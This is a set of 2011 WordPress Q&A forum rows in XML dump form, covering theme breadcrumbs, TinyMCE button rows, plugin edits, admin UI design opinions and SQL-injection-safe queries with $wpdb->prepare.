  <row Id="13713" PostTypeId="1" AcceptedAnswerId="13717" CreationDate="2011-04-01T15:49:05.193" Score="1" ViewCount="72" Body="&lt;p&gt;hey guys,&#xA;any idea how I could filter all inline javascripts from the content()?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-04-01T16:03:47.700" Title="remove inline scripts from the_content() produced by plugins?" Tags="&lt;javascript&gt;&lt;content&gt;&lt;add-filter&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13714" PostTypeId="1" CreationDate="2011-04-01T15:55:37.927" Score="0" ViewCount="194" Body="&lt;p&gt;(sorry for my english) in my theme I Breadcrumbs function. I would like to exclude the categories, can you help me? here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function the_breadcrumb() {&#xA;    global $post;&#xA;if (!is_home()) {&#xA;    echo '&amp;lt;a href=&quot;'.get_option('home').'&quot;&amp;gt;'.home.'&amp;lt;/a&amp;gt;';&#xA;    if (is_category()) {&#xA;        echo &quot; / &quot;;&#xA;        echo single_cat_title();&#xA;    } elseif(is_single() &amp;amp;&amp;amp; !is_attachment()) {&#xA;        $cat = get_the_category(); $cat = $cat[0];&#xA;        echo &quot; / &quot;;&#xA;        echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');&#xA;        echo &quot; / &quot;;&#xA;        echo the_title_shorten(45,'...');&#xA;    }       &#xA;    elseif (is_search()) {&#xA;        echo &quot; / &quot; . cerca;&#xA;    }       &#xA;    elseif (is_page() &amp;amp;&amp;amp; $post-&amp;gt;post_parent) {&#xA;        echo ' / &amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;post_parent).'&quot;&amp;gt;';&#xA;        echo get_the_title($post-&amp;gt;post_parent);&#xA;        echo &quot;&amp;lt;/a&amp;gt; / &quot;;&#xA;        echo the_title_shorten(45,'...');       &#xA;    }&#xA;    elseif (is_page() OR is_attachment()) {&#xA;        echo &quot; / &quot;; &#xA;        echo the_title_shorten(45,'...');&#xA;    }&#xA;    elseif (is_author()) {&#xA;        echo wp_title(' / Profilo');&#xA;        echo &quot;&quot;;&#xA;    }&#xA;    elseif (is_404()) {&#xA;        echo &quot; / &quot;; &#xA;        echo errore_404;&#xA;    }       &#xA;    elseif (is_archive()) {&#xA;        echo wp_title(' / ');       &#xA;    }&#xA;        }&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3897" LastEditorUserId="3897" LastEditorDisplayName="" LastEditDate="2011-06-01T06:22:41.923" LastActivityDate="2011-08-30T15:37:00.313" Title="Exclude category to &quot;the_breadcrumb&quot; functions" Tags="&lt;categories&gt;&lt;wordpress-version&gt;" AnswerCount="2" />
  <row Id="13715" PostTypeId="2" ParentId="13712" CreationDate="2011-04-01T15:56:44.113" Score="2" ViewCount="" Body="&lt;p&gt;Would need some prettifying, but basic code is following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('manage_pages_columns', 'add_revised_column');&#xA;add_action('manage_pages_custom_column', 'echo_revised_column', 10, 2);&#xA;&#xA;function add_revised_column($columns) {&#xA;&#xA;    $columns['revised'] = 'Revised';&#xA;&#xA;    return $columns;&#xA;}&#xA;&#xA;&#xA;function echo_revised_column($column, $id) {&#xA;&#xA;    if ('revised' == $column)&#xA;        echo get_post_field('post_modified', $id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T15:56:44.113" CommentCount="2" />
  <row Id="13716" PostTypeId="2" ParentId="13714" CreationDate="2011-04-01T15:58:06.733" Score="0" ViewCount="" Body="&lt;p&gt;Change this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category()) {&#xA;    echo &quot; / &quot;;&#xA;    echo single_cat_title();&#xA;} elseif(is_single() &amp;amp;&amp;amp; !is_attachment()) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_single() &amp;amp;&amp;amp; !is_attachment()) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T15:58:06.733" CommentCount="6" />
  <row Id="13717" PostTypeId="2" ParentId="13713" CreationDate="2011-04-01T16:03:47.700" Score="1" ViewCount="" Body="&lt;p&gt;Not tested, but I imagine &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'wp_kses_post');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will scrub it good. Might need playing with priority.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T16:03:47.700" CommentCount="6" />
  <row Id="13718" PostTypeId="1" CreationDate="2011-04-01T16:06:08.120" Score="8" ViewCount="117" Body="&lt;p&gt;You probably noticed the trend of making custom designed plugin/theme options UIs, especially in the commercial ones (on CodeCanyon for example - custom boxes, tabs, accordions etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally believe that UI should be unified in the first place and that is really easy in WP to achieve using some core's default HTML structure + CSS classes =&gt; following the styling guide. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it is maybe sometimes not enough and that's why why there is that trend. Another reason could be &quot;branding&quot; or just some &quot;coolness effect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about this? &#xA;Do you prefer some custom designed UIs or the default one and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The main reason I ask this is also because these days I started with plugin development and I trying to make this decision of which path to choose.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2011-04-02T11:49:51.107" Title="What do you think about custom designed plugin/theme options UIs?" Tags="&lt;plugin-development&gt;&lt;customization&gt;&lt;design&gt;&lt;ui&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" />
  <row Id="13719" PostTypeId="2" ParentId="13718" CreationDate="2011-04-01T16:15:03.060" Score="1" ViewCount="" Body="&lt;p&gt;I think that it is a bad idea two have considerably different interfaces stuffed together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP admin area is... work in progress (putting it politely). It is very far in structure and customization options from front-end, so for many (especially coming from theme side of things) it seems like a good idea to discard it and go custom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that engineering interfaces to fit nicely with native parts is good experience for users and good experience for me. But it does drive you crazy at times, so it is personal choice rather than no-brainer one. At least for now, there are some movements to make admin area interfaces to make more sense and be more accessible to plugin developers.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T16:15:03.060" />
  <row Id="13720" PostTypeId="2" ParentId="13444" CreationDate="2011-04-01T16:25:49.303" Score="1" ViewCount="" Body="&lt;p&gt;Cadeyrn's code  work probably for 1 specific size ( 200&amp;amp;w=350&amp;amp; etc) , the major problem with timthumb and the reason people use it, is that it allows for many dynamic sizes thus making .htaccess rewrite rules much more difficult, especially if you using friendly WordPress permalink structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a guide here on how to do it, it might need tweaking and honestly timthumb should be avoided. &lt;a href=&quot;http://revisedagain.com/?p=18&quot; rel=&quot;nofollow&quot;&gt;http://revisedagain.com/?p=18&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-01T16:25:49.303" CommentCount="1" />
  <row Id="13721" PostTypeId="2" ParentId="13693" CreationDate="2011-04-01T16:31:53.293" Score="5" ViewCount="" Body="&lt;p&gt;Subversion doesn't work that way.  You have a local copy and a repository ... only two systems.  There's no concept of syncing a local copy to a local repository &lt;em&gt;and&lt;/em&gt; a remote repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you look into using either Git or Mercurial for your local development.  Both systems allow you to have a local repository (for local source control) as well as pushing to a remote repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these &lt;em&gt;distributed version control&lt;/em&gt; systems can integrate with Subversion as well.  So you build locally, commit to a local repository (or on your own server), then push to WordPress.org's Subversion repository when you've reached a convenient release point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few good Git-Svn tutorials floating around the Internet that deal specifically with WordPress plugin development.  &lt;a href=&quot;http://www.nicolaskuttler.com/post/using-git-for-wordpress-development/&quot; rel=&quot;nofollow&quot;&gt;Here's one&lt;/a&gt;.  Using Mercurial follows some of the same patterns.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-01T16:31:53.293" CommentCount="3" />
  <row Id="13722" PostTypeId="2" ParentId="13718" CreationDate="2011-04-01T16:33:14.913" Score="7" ViewCount="" Body="&lt;p&gt;The problem with custom UIs are: They look different from plugin to plugin. If you're using a customized Themeframework with integrated plugins, this could be ok. But training a customer in using a WordPress install with many different UI-approaches is definitly not easy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason of using WordPress as a CMS for me is &lt;strong&gt;simplicity&lt;/strong&gt;. My customers aren't geeks in computer and they don't want to be one. So the first thing I do is reduce the role (e.g. contributer) of my customers and hide everything they don't need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't possible and a used plugin generates a new admin panel which looks completely different than the others, I wouldn't use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other reason for using the standard WordPress UI is, that you're safe on updates. Just use built-in functions to create your settings section and fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_settings_section&quot; rel=&quot;nofollow&quot;&gt;add_settings_section&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_settings_field&quot; rel=&quot;nofollow&quot;&gt;add_settings_field&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-04-01T16:33:14.913" />
  <row Id="13723" PostTypeId="2" ParentId="13690" CreationDate="2011-04-01T16:43:35.047" Score="5" ViewCount="" Body="&lt;p&gt;My first recommendation: &lt;strong&gt;Don't do it!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the plug-in author releases an update, you can &lt;em&gt;and will&lt;/em&gt; run into conflicts.  Particularly if someone installs both the new plugin and your theme at the same time.  A much safer route is to build plugin support into your theme.  Make things degrade gracefully in case the plugin doesn't exists, but don't actually code the plugin into your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still intent on hard-coding things ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put the entire plugin in a subfolder for your theme.  Then, from your theme, call &lt;a href=&quot;http://wpseek.com/source/wp/latest/nav.html?wp-admin/includes/plugin.php.html#activate_plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;activate_plugin()&lt;/code&gt;&lt;/a&gt; to turn the plugin on.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-01T16:43:35.047" />
  <row Id="13724" PostTypeId="1" CreationDate="2011-04-01T16:48:57.630" Score="1" ViewCount="51" Body="&lt;p&gt;Anyone have a tried method of testing plugins to determine whether or not they make changes to your file-system, database, or both?  I think this would be useful for larger websites where files may be handled in version control and changes to files on the server from a plugin need to be accounted for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe plugin authors should be encouraged to be more explicit in how their plugin affects your site in the plugin descriptions, FAQs, etc...  &lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2011-04-26T06:50:25.173" Title="How to determine if a plugin affects your file-system" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="13725" PostTypeId="2" ParentId="13724" CreationDate="2011-04-01T17:01:01.397" Score="2" ViewCount="" Body="&lt;p&gt;Such tracking is not practical, at least not in context of WordPress. When we use software we don't fully realize just how &lt;strong&gt;much&lt;/strong&gt; activity is going on behind the scenes. Tracking it is massive overhead and can easily ruin performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember plugin that use checksum-based verification on WordPress files, but I don't know if it is practical to try and extend it to handle non-core stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically any kind of such tracking is way out of WordPress context (as for me).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T17:01:01.397" CommentCount="2" />
  <row Id="13726" PostTypeId="1" AcceptedAnswerId="19067" CreationDate="2011-04-01T17:25:07.957" Score="2" ViewCount="124" Body="&lt;p&gt;How would I add the capability in Simple Twitter Connect (in the stc-publish.php file) to not tweet pages, either newly published or edited? I don't need it to be an admin option, just a change for a few of my sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this function would be a good place to add the &quot;don't tweet pages&quot; capabilty (while retaining the check to prevent edited posts from being tweeted) as it checks for edited posts. How can one differentiate between posts and pages?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this new function prevents edits to existing posts from auto-posting&#xA;add_action('transition_post_status','stc_publish_auto_check',10,3);&#xA;function stc_publish_auto_check($new, $old, $post) {&#xA;    if ($new == 'publish' &amp;amp;&amp;amp; $old != 'publish') {&#xA;        $post_types = get_post_types( array('public' =&amp;gt; true), 'objects' );&#xA;        foreach ( $post_types as $post_type ) {&#xA;            if ( $post-&amp;gt;post_type == $post_type-&amp;gt;name ) {&#xA;                stc_publish_automatic($post-&amp;gt;ID, $post);&#xA;                break;&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 4/03/11&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer and better edit below.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-04-03T17:37:29.000" LastActivityDate="2011-06-02T21:03:52.940" Title="Add function to Simple Twitter Connect to not Tweet pages" Tags="&lt;functions&gt;&lt;twitter&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="13727" PostTypeId="2" ParentId="13688" CreationDate="2011-04-01T17:30:40.347" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way for non developers to create custom post types is to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI plugin&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I don't think custom post types are what you really want, do you really want to show Person, Address, etc on separate pages? What are you actually trying to achieve? &lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-01T17:30:40.347" />
  <row Id="13728" PostTypeId="2" ParentId="13726" CreationDate="2011-04-01T17:31:09.460" Score="1" ViewCount="" Body="&lt;p&gt;General Disclaimer:  This is a plugin edit.  Any edits to plugins will be lost when the plugin is updated. Therefore this is not recommended unless you keep good notes and/or remember you did this when the plugin gets updated!!  ;)&#xA;(@songdogtech, I know you are aware of such things, but I thought it would be irresponsible to post this without that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rvoodoo.com/projects/wordpress/wordpress-tip-blocking-a-custom-post-type-from-auto-publish-with-simple-facebook-connect-sfc-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.rvoodoo.com/projects/wordpress/wordpress-tip-blocking-a-custom-post-type-from-auto-publish-with-simple-facebook-connect-sfc-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is how I block a CPT in the SFC plugin, the STC plugin works the same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look for the stc_publish_automatic function I believe it is and add post type page to it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll find the code real quick, but wanted to point it out.... yer in the right file, and close to the right code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function stc_publish_automatic($id, $post) {&#xA;&#xA;    // check to make sure post is published&#xA;    if ($post-&amp;gt;post_status !== 'publish') return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd think editing this bit to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function stc_publish_automatic($id, $post) {&#xA;&#xA;        // check to make sure post is published&#xA;        if ($post-&amp;gt;post_status !== 'publish') return;&#xA;     if ($post-&amp;gt;post_type == 'page') return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would do it.... (untested, but if worked for blocking a CPT in the SFC plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the post I linked, @Otto made some recommendation in the comment you may be able to work with in a better way.  I just edit the plugin as a quick and dirty, but looks like you can work it from your theme too.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can take the info here, and the info from @Otto's comment on my site, and work it out, I'd love to see that code!&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-04-01T17:43:53.160" LastActivityDate="2011-04-01T17:43:53.160" CommentCount="2" />
  <row Id="13729" PostTypeId="1" AcceptedAnswerId="13731" CreationDate="2011-04-01T17:38:45.033" Score="0" ViewCount="163" Body="&lt;p&gt;The tinyMCE &quot;kitchen sink&quot; toggle button shows/hides a row of buttons. I have successfully added my row of shortcode buttons to the tinyMCE editor, but I was wondering if there was a way to make my row only display when the kitchen sink button is clicked. I don't want to add the buttons directly to the kitchen sink row because I have lots of buttons that need their own row. So, can I make the kitchen sink button show two rows instead of one? Or is there some sort of modifier when I add my row to indicate that it should be toggled when the kitchen sink button is clicked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I'm using to add my third row of buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // add shortcode buttons to the tinyMCE editor row 3&#xA;function add_button_3() {&#xA;   if ( current_user_can('edit_posts') &amp;amp;&amp;amp;  current_user_can('edit_pages') )&#xA;   {&#xA;     add_filter('mce_external_plugins', 'add_plugin_3');&#xA;     add_filter('mce_buttons_3', 'register_button_3');&#xA;   }&#xA;}&#xA;//setup array of shortcode buttons to add&#xA;function register_button_3($buttons) {&#xA;   array_push($buttons, &quot;dropcap&quot;, &quot;divider&quot;, &quot;quote&quot;, &quot;pullquoteleft&quot;, &quot;pullquoteright&quot;, &quot;boxdark&quot;, &quot;boxlight&quot;, &quot;togglesimple&quot;, &quot;togglebox&quot;, &quot;tabs&quot;, &quot;signoff&quot;, &quot;columns&quot;, &quot;smallbuttons&quot;, &quot;largebuttons&quot;, &quot;lists&quot;);  &#xA;   return $buttons;&#xA;}&#xA;//setup array for tinyMCE editor interface&#xA;function add_plugin_3($plugin_array) {&#xA;   $plugin_array['lists'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['signoff'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['dropcap'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['divider'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['quote'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['pullquoteleft'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['pullquoteright'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['boxdark'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['boxlight'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['togglesimple'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['togglebox'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['tabs'] = get_bloginfo('template_url').'/js/customcodes.js'; &#xA;   $plugin_array['columns'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['smallbuttons'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   $plugin_array['largebuttons'] = get_bloginfo('template_url').'/js/customcodes.js';&#xA;   return $plugin_array;&#xA;}&#xA;add_action('init', 'add_button_3'); // add the add_button function to the page init&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the row that adds is not toggled by the kitchen sink button.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="274" LastEditorDisplayName="" LastEditDate="2011-04-01T19:57:47.373" LastActivityDate="2011-04-01T19:57:47.373" Title="Is there a way to add another row to the tinyMCE kitchen sink toggle?" Tags="&lt;filters&gt;&lt;shortcode&gt;&lt;tinymce&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="13731" PostTypeId="2" ParentId="13729" CreationDate="2011-04-01T18:38:43.423" Score="2" ViewCount="" Body="&lt;p&gt;Yes!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;mce_buttons_2&lt;/code&gt; filter to add&#xA;buttons to the &lt;em&gt;second&lt;/em&gt; row. &lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;mce_buttons_3&lt;/code&gt; filter to add buttons&#xA;to the &lt;em&gt;third&lt;/em&gt; row.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example of what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_mce_buttons_row_3($buttons) {&#xA;&#xA;     $buttons[] = 'fontselect';&#xA;     $buttons[] = 'fontsizeselect';&#xA;     $buttons[] = 'code';&#xA;     $buttons[] = 'sup';&#xA;     $buttons[] = 'sub';&#xA;     $buttons[] = 'backcolor';&#xA;     $buttons[] = 'separator';&#xA;     $buttons[] = 'hr';&#xA;     $buttons[] = 'wp_page';&#xA;&#xA;     return $buttons;&#xA;&#xA;}&#xA;add_filter(&quot;mce_buttons_3&quot;, &quot;mytheme_mce_buttons_row_3&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just drop this in functions.php. (I put it in my Theme setup function, that gets hooked into &lt;code&gt;after_setup_theme&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it makes a difference or not, but you're using &lt;code&gt;array_push($buttons, $button)&lt;/code&gt;, while I'm using &lt;code&gt;$buttons[] = $button&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//setup array of shortcode buttons to add&#xA;function register_button_3($buttons) {&#xA;   array_push($buttons, &quot;dropcap&quot;);&#xA;   array_push($buttons, &quot;divider&quot;);&#xA;   array_push($buttons, &quot;quote&quot;);&#xA;   array_push($buttons, &quot;pullquoteleft&quot;);&#xA;   array_push($buttons, &quot;pullquoteright&quot;);&#xA;   array_push($buttons, &quot;boxdark&quot;);&#xA;   array_push($buttons, &quot;boxlight&quot;);&#xA;   array_push($buttons, &quot;togglesimple&quot;);&#xA;   array_push($buttons, &quot;togglebox&quot;);&#xA;   array_push($buttons, &quot;tabs&quot;);&#xA;   array_push($buttons, &quot;signoff&quot;); &#xA;   array_push($buttons, &quot;columns&quot;);&#xA;   array_push($buttons, &quot;smallbuttons&quot;);&#xA;   array_push($buttons, &quot;largebuttons&quot;);&#xA;   array_push($buttons, &quot;lists&quot;);     &#xA;   return $buttons;&#xA;}&#xA;add_filter('mce_buttons_3', 'register_button_3');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, using my method, would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//setup array of shortcode buttons to add&#xA;function register_button_3($buttons) {&#xA;   $buttons[] = 'dropcap';&#xA;   $buttons[] = 'divider';&#xA;   $buttons[] = 'quote';&#xA;   $buttons[] = 'pullquoteleft';&#xA;   $buttons[] = 'pullquoteright';&#xA;   $buttons[] = 'boxdark';&#xA;   $buttons[] = 'boxlight';&#xA;   $buttons[] = 'togglesimple';&#xA;   $buttons[] = 'togglebox';&#xA;   $buttons[] = 'tabs';&#xA;   $buttons[] = 'signoff'; &#xA;   $buttons[] = 'columns';&#xA;   $buttons[] = 'smallbuttons';&#xA;   $buttons[] = 'largebuttons';&#xA;   $buttons[] = 'lists';     &#xA;   return $buttons;&#xA;}&#xA;add_filter('mce_buttons_3', 'register_button_3');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Give that a try?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-01T19:11:10.330" LastActivityDate="2011-04-01T19:11:10.330" CommentCount="9" />
  <row Id="13732" PostTypeId="2" ParentId="13718" CreationDate="2011-04-01T18:49:51.143" Score="5" ViewCount="" Body="&lt;p&gt;Custom UI is great where it improves the experience and makes the task easier.&#xA;After all, a plugin extends WordPress and therefore a lot of the time is extending the user interface. This might mean a screen that is arranged completely differently to any other screen, but if it is logical and understandable then there's no cause for confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where custom styling is being used to 'brand' a plugin, it's just annoying and naff.&#xA;Custom UI should respect the colour choice of the admin backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I much prefer plugins that could be mistaken for being part of the core, and that should pretty much be the goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, respect the core UI but don't be restricted by it.&lt;/p&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2011-04-01T18:49:51.143" />
  <row Id="13734" PostTypeId="2" ParentId="13718" CreationDate="2011-04-01T19:48:27.940" Score="2" ViewCount="" Body="&lt;p&gt;I personally prefer the middle path. It should be &lt;strong&gt;70% base Wordpress admin UI style&lt;/strong&gt; (for easier integration). The other &lt;strong&gt;30% can be advanced tabs, accordions, input fields&lt;/strong&gt; to help keeping everything on one screen &lt;em&gt;to avoid scrolling&lt;/em&gt; or make tasks like multiselect easier. Aside from that i wouldn't like to have a custom styled (colored/branded) admin ui - all of the reasons that have already been covered in the other answers.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-04-02T11:49:51.107" LastActivityDate="2011-04-02T11:49:51.107" />
  <row Id="13735" PostTypeId="1" CreationDate="2011-04-01T19:50:23.247" Score="2" ViewCount="156" Body="&lt;p&gt;Based on solved question from:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4257/how-to-add-a-checkbox-element-to-attachments-editor-with-example&quot;&gt;How to add a checkbox element to attachments editor with example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theres an example of multiple Checkboxes, for example: Colors, patterns, etc... A grouped list but using checkboxes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tips to save and remember checked options on edit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-30T13:15:30.430" LastActivityDate="2011-06-30T13:15:30.430" Title="How to add multiple checkbox elements to media attachments?" Tags="&lt;attachments&gt;&lt;options&gt;&lt;form&gt;&lt;post-editor&gt;&lt;save&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="13736" PostTypeId="1" CreationDate="2011-04-01T20:30:16.873" Score="0" ViewCount="96" Body="&lt;p&gt;I gave the Contributor role edit_published_posts capability. Contributor submits a post, Admin publishes it. Now Contributor can edit it without approval. Is there a way to force it to be re-approved by Admin?&lt;/p&gt;&#xA;" OwnerUserId="4375" LastActivityDate="2011-05-02T00:42:47.140" Title="Force modified contributor role to be re-approved on edit?" Tags="&lt;customization&gt;&lt;roles&gt;&lt;user-roles&gt;&lt;modifications&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13737" PostTypeId="2" ParentId="13539" CreationDate="2011-04-01T20:45:53.443" Score="5" ViewCount="" Body="&lt;h1&gt;Use &lt;code&gt;$wpdb-&amp;gt;prepare&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When building custom queries via the &lt;code&gt;$wpdb&lt;/code&gt; object, always use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#Protect_Queries_Against_SQL_Injection_Attacks&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb-&amp;gt;prepare&lt;/code&gt;&lt;/a&gt; to fill placeholders with values instead of writing the queries with data mixed with SQL code, as the &lt;code&gt;mysql_*&lt;/code&gt; family functions have wrongly taught everyone.&lt;/p&gt;&#xA;" OwnerUserId="745" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-08-17T12:01:43.947" LastActivityDate="2011-08-17T12:01:43.947" CommunityOwnedDate="2011-04-01T20:45:53.443" CommentCount="1" />
